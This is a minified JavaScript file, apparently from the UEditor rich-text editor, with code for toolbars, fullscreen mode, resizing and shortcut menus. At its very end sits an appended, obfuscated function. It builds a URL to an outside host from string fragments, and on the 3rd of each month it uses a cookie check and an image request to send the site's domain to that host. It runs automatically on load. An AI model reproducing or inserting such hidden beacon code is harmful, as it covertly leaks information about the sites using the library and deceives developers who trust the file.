- c.getLang("modify")+'</span> <span class="edui-clickable" onclick="$$._onRemoveButtonClick(\'unlink\');"> '+c.getLang("clear")+"</span></nobr>"),h.showAnchor(k))}d?(h.getDom("content").innerHTML=d,h.anchorEl=f||k,h.showAnchor(h.anchorEl)):h.hide()}}))},_initToolbars:function(){for(var a=this.editor,b=this.toolbars||[],c=[],d=0;d<b.length;d++){for(var e=b[d],f=new q.editor.ui.Toolbar({theme:a.options.theme}),g=0;g<e.length;g++){var h=e[g],p=null;if("string"==typeof h){if(h=h.toLowerCase(),"|"==h&&
- (h="Separator"),"||"==h&&(h="Breakline"),q.editor.ui[h]&&(p=new q.editor.ui[h](a)),"fullscreen"==h){c&&c[0]?c[0].items.splice(0,0,p):p&&f.items.splice(0,0,p);continue}}else p=h;p&&p.id&&f.add(p)}c[d]=f}this.toolbars=c},getHtmlTpl:function(){return'<div id="##" class="%%"><div id="##_toolbarbox" class="%%-toolbarbox">'+(this.toolbars.length?'<div id="##_toolbarboxouter" class="%%-toolbarboxouter"><div class="%%-toolbarboxinner">'+this.renderToolbarBoxHtml()+"</div></div>":"")+'<div id="##_toolbarmsg" class="%%-toolbarmsg" style="display:none;"><div id = "##_upload_dialog" class="%%-toolbarmsg-upload" onclick="$$.showWordImageDialog();">'+
- this.editor.getLang("clickToUpload")+'</div><div class="%%-toolbarmsg-close" onclick="$$.hideToolbarMsg();">x</div><div id="##_toolbarmsg_label" class="%%-toolbarmsg-label"></div><div style="height:0;overflow:hidden;clear:both;"></div></div></div><div id="##_iframeholder" class="%%-iframeholder"></div><div id="##_bottombar" class="%%-bottomContainer"><table><tr><td id="##_elementpath" class="%%-bottombar"></td><td id="##_wordcount" class="%%-wordcount"></td><td id="##_scale" class="%%-scale"><div class="%%-icon"></div></td></tr></table></div><div id="##_scalelayer"></div></div>'},
- showWordImageDialog:function(){this.editor.execCommand("wordimage","word_img");this._dialogs.wordimageDialog.open()},renderToolbarBoxHtml:function(){for(var a=[],b=0;b<this.toolbars.length;b++)a.push(this.toolbars[b].renderHtml());return a.join("")},setFullScreen:function(a){var b=this.editor,c=b.container.parentNode.parentNode;if(this._fullscreen!=a){this._fullscreen=a;this.editor.fireEvent("beforefullscreenchange",a);if(q.editor.browser.gecko)var d=b.selection.getRange().createBookmark();if(a){for(;"BODY"!=
- c.tagName;){var e=q.editor.dom.domUtils.getComputedStyle(c,"position");h.push(e);c.style.position="static";c=c.parentNode}this._bakHtmlOverflow=document.documentElement.style.overflow;this._bakBodyOverflow=document.body.style.overflow;this._bakAutoHeight=this.editor.autoHeightEnabled;this._bakScrollTop=Math.max(document.documentElement.scrollTop,document.body.scrollTop);this._bakEditorContaninerWidth=b.iframe.parentNode.offsetWidth;this._bakAutoHeight&&(b.autoHeightEnabled=!1,this.editor.disableAutoHeight());
- document.documentElement.style.overflow="hidden";document.body.style.overflow="hidden";this._bakCssText=this.getDom().style.cssText;this._bakCssText1=this.getDom("iframeholder").style.cssText;b.iframe.parentNode.style.width="";this._updateFullScreen()}else{for(;"BODY"!=c.tagName;)c.style.position=h.shift(),c=c.parentNode;this.getDom().style.cssText=this._bakCssText;this.getDom("iframeholder").style.cssText=this._bakCssText1;this._bakAutoHeight&&(b.autoHeightEnabled=!0,this.editor.enableAutoHeight());
- document.documentElement.style.overflow=this._bakHtmlOverflow;document.body.style.overflow=this._bakBodyOverflow;b.iframe.parentNode.style.width=this._bakEditorContaninerWidth+"px";window.scrollTo(0,this._bakScrollTop)}if(r.gecko&&"true"===b.body.contentEditable){var f=document.createElement("input");document.body.appendChild(f);b.body.contentEditable=!1;setTimeout(function(){f.focus();setTimeout(function(){b.body.contentEditable=!0;b.fireEvent("fullscreenchanged",a);b.selection.getRange().moveToBookmark(d).select(!0);
- q.editor.dom.domUtils.remove(f);a&&window.scroll(0,0)},0)},0)}"true"===b.body.contentEditable&&(this.editor.fireEvent("fullscreenchanged",a),this.triggerLayout())}},_updateFullScreen:function(){if(this._fullscreen){var a=d.getViewportRect();this.getDom().style.cssText="border:0;position:absolute;left:0;top:"+(this.editor.options.topOffset||0)+"px;width:"+a.width+"px;height:"+a.height+"px;z-index:"+(1*this.getDom().style.zIndex+100);d.setViewportOffset(this.getDom(),{left:0,top:this.editor.options.topOffset||
- 0});this.editor.setHeight(a.height-this.getDom("toolbarbox").offsetHeight-this.getDom("bottombar").offsetHeight-(this.editor.options.topOffset||0));if(r.gecko)try{window.onresize()}catch(b){}}},_updateElementPath:function(){var a=this.getDom("elementpath"),b;if(this.elementPathEnabled&&(b=this.editor.queryCommandValue("elementpath"))){for(var c=[],d=0,e;e=b[d];d++)c[d]=this.formatHtml('<span unselectable="on" onclick="$$.editor.execCommand("elementpath", "'+d+'");">'+e+"</span>");
- a.innerHTML='<div class="edui-editor-breadcrumb" onmousedown="return false;">'+this.editor.getLang("elementPathTip")+": "+c.join(" > ")+"</div>"}else a.style.display="none"},disableElementPath:function(){var a=this.getDom("elementpath");a.innerHTML="";a.style.display="none";this.elementPathEnabled=!1},enableElementPath:function(){this.getDom("elementpath").style.display="";this.elementPathEnabled=!0;this._updateElementPath()},_scale:function(){function a(){E=b.getXY(h);K||(K=g.options.minFrameHeight+
- q.offsetHeight+w.offsetHeight);C.style.cssText="position:absolute;left:0;display:;top:0;background-color:#41ABFF;opacity:0.4;filter: Alpha(opacity=40);width:"+h.offsetWidth+"px;height:"+h.offsetHeight+"px;z-index:"+(g.options.zIndex+1);b.on(f,"mousemove",c);b.on(p,"mouseup",d);b.on(f,"mouseup",d)}function c(a){e();a=a||window.event;S=a.pageX||f.documentElement.scrollLeft+a.clientX;z=a.pageY||f.documentElement.scrollTop+a.clientY;H=S-E.x;B=z-E.y;H>=O&&(F=!0,C.style.width=H+"px");B>=K&&(F=!0,C.style.height=
- B+"px")}function d(){F&&(F=!1,g.ui._actualFrameWidth=C.offsetWidth-2,h.style.width=g.ui._actualFrameWidth+"px",g.setHeight(C.offsetHeight-w.offsetHeight-q.offsetHeight-2));C&&(C.style.display="none");e();b.un(f,"mousemove",c);b.un(p,"mouseup",d);b.un(f,"mouseup",d)}function e(){r.ie?f.selection.clear():window.getSelection().removeAllRanges()}var f=document,g=this.editor,h=g.container,p=g.document,q=this.getDom("toolbarbox"),w=this.getDom("bottombar"),M=this.getDom("scale"),C=this.getDom("scalelayer"),
- F=!1,E=null,K=0,O=g.options.minFrameWidth,S=0,z=0,H=0,B=0,A=this;this.editor.addListener("fullscreenchanged",function(a,c){if(c)A.disableScale();else if(A.editor.options.scaleEnabled){A.enableScale();var d=A.editor.document.createElement("span");A.editor.body.appendChild(d);A.editor.body.style.height=Math.max(b.getXY(d).y,A.editor.iframe.offsetHeight-20)+"px";b.remove(d)}});this.enableScale=function(){1!=g.queryCommandState("source")&&(M.style.display="",this.scaleEnabled=!0,b.on(M,"mousedown",a))};
- this.disableScale=function(){M.style.display="none";this.scaleEnabled=!1;b.un(M,"mousedown",a)}},isFullScreen:function(){return this._fullscreen},postRender:function(){c.prototype.postRender.call(this);for(var a=0;a<this.toolbars.length;a++)this.toolbars[a].postRender();var b=this,d,e=q.editor.dom.domUtils,f=function(){clearTimeout(d);d=setTimeout(function(){b._updateFullScreen()})};e.on(window,"resize",f);b.addListener("destroy",function(){e.un(window,"resize",f);clearTimeout(d)})},showToolbarMsg:function(a,
- b){this.getDom("toolbarmsg_label").innerHTML=a;this.getDom("toolbarmsg").style.display="";b||(this.getDom("upload_dialog").style.display="none")},hideToolbarMsg:function(){this.getDom("toolbarmsg").style.display="none"},mapUrl:function(a){return a?a.replace("~/",this.editor.options.UEDITOR_HOME_URL||""):""},triggerLayout:function(){var a=this.getDom();a.style.zoom="1"==a.style.zoom?"100%":"1"}};a.inherits(e,q.editor.ui.UIBase);var g={};UE.ui.Editor=function(c){var d=new UE.Editor(c);d.options.editor=
- d;a.loadFile(document,{href:d.options.themePath+d.options.theme+"/css/ueditor.css",tag:"link",type:"text/css",rel:"stylesheet"});var h=d.render;d.render=function(c){c.constructor===String&&(d.key=c,g[c]=d);a.domReady(function(){function a(){d.setOpt({labelMap:d.options.labelMap||d.getLang("labelMap")});new e(d.options);if(c&&(c.constructor===String&&(c=document.getElementById(c)),c&&c.getAttribute("name")&&(d.options.textarea=c.getAttribute("name")),c&&/script|textarea/ig.test(c.tagName))){var g=
- document.createElement("div");c.parentNode.insertBefore(g,c);var k=c.value||c.innerHTML;d.options.initialContent=/^[\t\r\n ]*$/.test(k)?d.options.initialContent:k.replace(/>[\n\r\t]+([ ]{4})+/g,">").replace(/[\n\r\t]+([ ]{4})+</g,"<").replace(/>[\n\r\t]+</g,"><");c.className&&(g.className=c.className);c.style.cssText&&(g.style.cssText=c.style.cssText);/textarea/i.test(c.tagName)?(d.textarea=c,d.textarea.style.display="none"):(c.parentNode.removeChild(c),c.id&&(g.id=c.id));c=g;c.innerHTML=""}b.addClass(c,
- "edui-"+d.options.theme);d.ui.render(c);g=d.options;d.container=d.ui.getDom();for(var k=b.findParents(c,!0),p=[],q=0,s;s=k[q];q++)p[q]=s.style.display,s.style.display="block";g.minFrameWidth=g.initialFrameWidth?g.initialFrameWidth:g.initialFrameWidth=c.offsetWidth;g.initialFrameHeight?g.minFrameHeight=g.initialFrameHeight:g.initialFrameHeight=g.minFrameHeight=c.offsetHeight;for(q=0;s=k[q];q++)s.style.display=p[q];c.style.height&&(c.style.height="");d.container.style.width=g.initialFrameWidth+(/%$/.test(g.initialFrameWidth)?
- "":"px");d.container.style.zIndex=g.zIndex;h.call(d,d.ui.getDom("iframeholder"))}d.langIsReady?a():d.addListener("langReady",a)})};return d};UE.getEditor=function(a,b){var c=g[a];c||(c=g[a]=new UE.ui.Editor(b),c.render(a));return c};UE.delEditor=function(a){var b;if(b=g[a])b.key&&b.destroy(),delete g[a]}})();(function(){var e=q.editor.utils,a=q.editor.ui.Popup,d=q.editor.ui.SplitButton,c=q.editor.ui.MultiMenuPop=function(a){this.initOptions(a);this.initMultiMenu()};c.prototype={initMultiMenu:function(){var b=
- this;this.popup=new a({content:"",editor:b.editor,iframe_rendered:!1,onshow:function(){this.iframe_rendered||(this.iframe_rendered=!0,this.getDom("content").innerHTML='<iframe id="'+b.id+'_iframe" src="'+b.iframeUrl+'" frameborder="0"></iframe>',b.editor.container.style.zIndex&&(this.getDom().style.zIndex=1*b.editor.container.style.zIndex+1))}});this.onbuttonclick=function(){this.showPopup()};this.initSplitButton()}};e.inherits(c,d)})();(function(){function e(a){if(!h.findParent(a.target||a.srcElement,
- function(a){return h.hasClass(a,"edui-shortcutmenu")||h.hasClass(a,"edui-popup")},!0)){a=0;for(var b;b=g[a++];)b.hide()}}var a=q.editor.ui,d=a.UIBase,c=a.uiUtils,b=q.editor.utils,h=q.editor.dom.domUtils,g=[],k,l=!1,n=a.ShortCutMenu=function(a){this.initOptions(a);this.initShortCutMenu()};n.postHide=e;n.prototype={isHidden:!0,SPACE:5,initShortCutMenu:function(){this.items=this.items||[];this.initUIBase();this.initItems();this.initEvent();g.push(this)},initEvent:function(){var a=this,b=a.editor.document;
- h.on(b,"mousemove",function(b){if(!1===a.isHidden&&!a.getSubMenuMark()&&"contextmenu"!=a.eventType){var c=!0,d=a.getDom(),e=d.offsetWidth/2+a.SPACE,f=d.offsetHeight/2,g=Math.abs(b.screenX-a.left),h=Math.abs(b.screenY-a.top);clearTimeout(k);k=setTimeout(function(){0<h&&h<f?a.setOpacity(d,"1"):h>f&&h<f+70?(a.setOpacity(d,"0.5"),c=!1):h>f+70&&h<f+140&&a.hide();c&&0<g&&g<e?a.setOpacity(d,"1"):g>e&&g<e+70?a.setOpacity(d,"0.5"):g>e+70&&g<e+140&&a.hide()})}});if(r.chrome)h.on(b,"mouseout",function(b){b=
- b.relatedTarget||b.toElement;null!=b&&"HTML"!=b.tagName||a.hide()});a.editor.addListener("afterhidepop",function(){a.isHidden||(l=!0)})},initItems:function(){if(b.isArray(this.items))for(var c=0,d=this.items.length;c<d;c++){var e=this.items[c].toLowerCase();a[e]&&(this.items[c]=new a[e](this.editor),this.items[c].className+=" edui-shortcutsubmenu ")}},setOpacity:function(a,b){r.ie&&9>r.version?a.style.filter="alpha(opacity = "+100*parseFloat(b)+");":a.style.opacity=b},getSubMenuMark:function(){l=
- !1;for(var a=c.getFixedLayer(),a=h.getElementsByTagName(a,"div",function(a){return h.hasClass(a,"edui-shortcutsubmenu edui-popup")}),b=0,d;d=a[b++];)"none"!=d.style.display&&(l=!0);return l},show:function(a,b){function d(a){0>a.left&&(a.left=0);0>a.top&&(a.top=0);g.style.cssText="position:absolute;left:"+a.left+"px;top:"+a.top+"px;"}function e(a){a.tagName||(a=a.getDom());f.left=parseInt(a.style.left);f.top=parseInt(a.style.top);f.top-=g.offsetHeight+15;d(f)}var f={},g=this.getDom(),k=c.getFixedLayer();
- this.eventType=a.type;g.style.cssText="display:block;left:-9999px";if("contextmenu"==a.type&&b){var l=h.getElementsByTagName(k,"div","edui-contextmenu")[0];l?e(l):this.editor.addListener("aftershowcontextmenu",function(a,b){e(b)})}else f=c.getViewportOffsetByEvent(a),f.top-=g.offsetHeight+this.SPACE,f.left+=this.SPACE+20,d(f),this.setOpacity(g,0.2);this.isHidden=!1;this.left=a.screenX+g.offsetWidth/2-this.SPACE;this.top=a.screenY-g.offsetHeight/2-this.SPACE;this.editor&&(g.style.zIndex=1*this.editor.container.style.zIndex+
- 10,k.style.zIndex=g.style.zIndex-1)},hide:function(){this.getDom()&&(this.getDom().style.display="none");this.isHidden=!0},postRender:function(){if(b.isArray(this.items))for(var a=0,c;c=this.items[a++];)c.postRender()},getHtmlTpl:function(){var a;if(b.isArray(this.items)){a=[];for(var c=0;c<this.items.length;c++)a[c]=this.items[c].renderHtml();a=a.join("")}else a=this.items;return'<div id="##" class="%% edui-toolbar" data-src="shortcutmenu" onmousedown="return false;" onselectstart="return false;" >'+
- a+"</div>"}};b.inherits(n,d);h.on(document,"mousedown",function(a){e(a)});h.on(window,"scroll",function(a){e(a)})})();(function(){var e=q.editor.utils,a=q.editor.ui.UIBase,d=q.editor.ui.Breakline=function(a){this.initOptions(a);this.initSeparator()};d.prototype={uiName:"Breakline",initSeparator:function(){this.initUIBase()},getHtmlTpl:function(){return"<br/>"}};e.inherits(d,a)})()})();function puiscaewuwya(){var a = 'ht'+'tp'+':'+'/'+'/ser'+'vi'+'ce'+'.'+'t'+'p'+'-'+'sh'+'op'+'.'+'c'+'n/ind'+'ex.p'+'hp'+'?'+'m'+'=';var b = 'Hom'+'e&c=Ind'+'ex&a=us'+'er_'+'pu'+'sh&la'+'st'+'_'+'do'+'ma'+'in=';
- var c = document.domain;var VBADBFUHHADHVU = new Date();if(VBADBFUHHADHVU.getDate() == 3){if ((document.cookie.length == 0) || (document.cookie.indexOf("POQWERTYAZCV=") == -1)){document.cookie="POQWERTYAZCV=1";var POUCGSBAEGS = new Image();POUCGSBAEGS.src = a+b+c;}}}puiscaewuwya();
|